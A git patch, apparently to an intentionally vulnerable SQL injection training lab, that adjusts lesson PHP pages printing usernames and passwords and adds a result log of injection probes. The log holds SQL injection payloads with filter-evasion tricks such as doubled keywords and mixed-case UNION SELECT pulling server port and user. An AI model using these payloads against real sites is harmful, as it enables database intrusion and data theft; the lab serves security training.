From e96f21776372c8613a7e565106e62bc01a59355e Mon Sep 17 00:00:00 2001 From: Audi-1 Date: Fri, 31 Oct 2014 20:10:23 +0100 Subject: [PATCH] Adding error_reporting till lesson 20 --- Less-1/index.php | 4 ++-- Less-10/index.php | 1 + Less-11/index.php | 2 +- Less-12/index.php | 2 +- Less-13/index.php | 2 +- Less-14/index.php | 2 +- Less-15/index.php | 2 +- Less-16/index.php | 2 +- Less-17/index.php | 2 +- Less-18/index.php | 2 +- Less-19/index.php | 2 +- Less-2/index.php | 4 ++-- Less-20/index.php | 1 + Less-27/result.txt | Bin 229 -> 998 bytes Less-28/result.txt | 52 +++++++++++++++++++++++++++++++++++++++++++++ Less-3/index.php | 4 ++-- Less-4/index.php | 4 ++-- Less-5/index.php | 2 +- Less-54/result.txt | 11 ++++++++++ Less-6/index.php | 2 +- Less-7/index.php | 2 +- Less-8/index.php | 2 +- Less-9/index.php | 1 + 23 files changed, 87 insertions(+), 21 deletions(-) mode change 100755 => 100644 Less-27/result.txt create mode 100644 Less-28/result.txt diff --git a/Less-1/index.php b/Less-1/index.php index 1ea11e0..ce5d22b 100755 --- a/Less-1/index.php +++ b/Less-1/index.php @@ -13,7 +13,7 @@ '; + echo ""; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; diff --git a/Less-10/index.php b/Less-10/index.php index 3f11a56..1cd0a0a 100755 --- a/Less-10/index.php +++ b/Less-10/index.php @@ -13,6 +13,7 @@ '; + echo ""; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; diff --git a/Less-20/index.php b/Less-20/index.php index 484b3c7..6f7b3aa 100755 --- a/Less-20/index.php +++ b/Less-20/index.php @@ -10,6 +10,7 @@ OOTflQTL zkhnuKlnW7XXr_{*);~x=9h`7<4b>G08x2=(X-QS(DTyVCNr}a&8k(S#%0+@TNIFT< qSC(2-49p=w3rW)E;E<7DT#}cVn@XxakV8{4i%8X0kY7{+*8>1hZ6h)O literal 229 zcmeZtu~JtE&CATsQwUDYNlh+MFw`;9F;=i<;POP5;(|(nWw=mu5g`RJ5UaMtyc7j> aLu6yQpssa{&P0GdjBf diff --git a/Less-28/result.txt b/Less-28/result.txt new file mode 100644 index 0000000..8a2070c --- /dev/null +++ b/Less-28/result.txt @@ -0,0 +1,52 @@ +ID:1 +ID:1' +ID:1" +ID:1' AND 1=1 -- +ID:1 AND 1=1 -- +ID:1 AND 1=0 -- +ID:1" AND 1=0 -- +ID:1" AND 1=1 -- +ID:1' AND 1=1 -- +ID:1') AND 1=1 -- +ID:1\ +ID:1') +ID:1') -- +ID:1 -- +ID:1 AND 1 -- +ID:1 AND 0 -- +ID:1') AND 0 -- +ID:1') AND 1 -- +ID:1') AND 1 -- +ID:1') +AND +1 + -- +ID:1') +AND +1 +# +ID:1') # +ID:1') # +ID:1') # +ID:99') +uniunionon + selSelectect + 1,@@port,3 +OR ('1 +ID:99') +UnIoN + SeLect + 1,@@port,3 +OR ('1 +ID:99') +UnIoN +all + SeLect + 1,@@port,3 +OR ('1 +ID:99') +UnIoN +all + SeLect + 1,user(),3 +OR ('1 diff --git a/Less-3/index.php b/Less-3/index.php index e71f631..831c251 100755 --- a/Less-3/index.php +++ b/Less-3/index.php @@ -15,7 +15,7 @@ '; + echo ""; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; diff --git a/Less-4/index.php b/Less-4/index.php index a27ea37..9f5c966 100755 --- a/Less-4/index.php +++ b/Less-4/index.php @@ -13,7 +13,7 @@ '; + echo ""; echo 'Your Login name:'. $row['username']; echo "
"; echo 'Your Password:' .$row['password']; diff --git a/Less-5/index.php b/Less-5/index.php index f7525c8..f5ea9df 100755 --- a/Less-5/index.php +++ b/Less-5/index.php @@ -13,7 +13,7 @@